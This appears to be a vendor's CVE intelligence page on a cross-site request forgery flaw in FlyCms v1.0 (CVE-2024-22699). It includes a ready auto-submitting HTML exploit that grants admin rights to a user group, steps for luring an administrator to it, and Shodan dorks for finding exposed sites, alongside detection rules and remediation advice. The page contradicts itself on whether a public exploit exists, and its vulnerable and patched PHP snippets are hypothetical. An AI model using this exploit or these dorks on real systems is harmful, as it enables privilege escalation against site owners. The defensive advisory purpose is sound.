☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-22699

CVE-2024-22699 Cross-Site Request Forgery in Flycms
📅 PUBLISHED: 2024-01-18 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
5.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.0
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-22699 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/admin/update_group_save endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions, such as modifying user group permissions. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a medium-severity CSRF issue. No official patch has been released by the vendor, and no public exploit code is available. The attack vector is network-based, requires user interaction, and has low complexity.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). FlyCms is a standalone PHP application. The risk is limited to direct deployments of the software.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) - The victim must click a malicious link or visit a crafted page.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None (N) - No data is directly exposed.
  • Integrity (I): Low (L) - The attacker can modify group settings.
  • Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch makes it a persistent threat.

Deep Dive & Mechanics

The vulnerability resides in the update_group_save function within the admin panel of FlyCms v1.0. This function is responsible for updating user group permissions. The application fails to implement any anti-CSRF tokens or origin validation on the POST request to /system/admin/update_group_save. As a result, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to modify group permissions.

The attack flow:

  1. Attacker crafts a malicious HTML page containing a form that auto-submits to /system/admin/update_group_save with modified parameters (e.g., granting admin privileges to a low-privilege group).
  2. Attacker lures an authenticated admin to visit this page (e.g., via phishing email or social engineering).
  3. The admin's browser sends the forged POST request with the admin's session cookie.
  4. The server processes the request, altering group permissions without the admin's consent.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0): The vulnerable endpoint likely lacks CSRF protection. A typical vulnerable PHP snippet might look like:

// /system/admin/update_group_save
if ($_POST['submit']) {
    $group_id = $_POST['group_id'];
    $permissions = $_POST['permissions'];
    // Update database without checking CSRF token
    $db->query("UPDATE groups SET permissions='$permissions' WHERE id=$group_id");
}

Patched Code (Hypothetical): A patched version would include a CSRF token validation:

// /system/admin/update_group_save
session_start();
if ($_POST['submit'] && $_POST['csrf_token'] === $_SESSION['csrf_token']) {
    $group_id = intval($_POST['group_id']);
    $permissions = $db->real_escape_string($_POST['permissions']);
    $db->query("UPDATE groups SET permissions='$permissions' WHERE id=$group_id");
} else {
    die('CSRF token validation failed.');
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install FlyCms v1.0 on a local server (e.g., XAMPP or Docker).
  2. Create an admin account and log in.
  3. Craft the following HTML file (csrf_exploit.html):
<html>
<body>
<form action="http://target.com/system/admin/update_group_save" method="POST">
    <input type="hidden" name="group_id" value="2">
    <input type="hidden" name="permissions" value="admin">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
  1. Host this file on an attacker-controlled server.
  2. Send the link to the admin (simulated via social engineering).
  3. Once the admin visits the page, the group permissions are modified.

Note: No public exploit code is available; this is a custom PoC.

Blue Team

Detection:

  • Monitor for unexpected POST requests to /system/admin/update_group_save from unusual referrers.
  • Look for rapid changes in group permissions.
  • Implement CSRF tokens as a mitigation.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /system/admin/update_group_save with unexpected parameters.
  • Logs: Admin activity logs showing unauthorized group permission changes.
  • File: Presence of malicious HTML files on admin workstations (e.g., csrf_exploit.html).

Detection Engineering

YARA Rule

rule flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit HTML targeting FlyCms update_group_save"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22699"
    strings:
        $action = "/system/admin/update_group_save" nocase
        $group_id = "group_id" nocase
        $permissions = "permissions" nocase
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to FlyCms update_group_save endpoint without CSRF token
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/system/admin/update_group_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is missing)
level: medium

Suricata Rule

alert http any any -> any any (msg:"FlyCms CSRF Exploit Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/admin/update_group_save"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Implement CSRF tokens on all state-changing forms. Use a unique, unpredictable token per session.
  2. Short-term: Restrict access to the admin panel via IP whitelisting or VPN.
  3. Long-term: Upgrade to a patched version if available, or migrate to a supported CMS.
  4. Compensating Controls: Enable SameSite cookies (Lax or Strict) and validate the Origin/Referer header.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"FlyCms"
http.html:"FlyCms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-22699/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.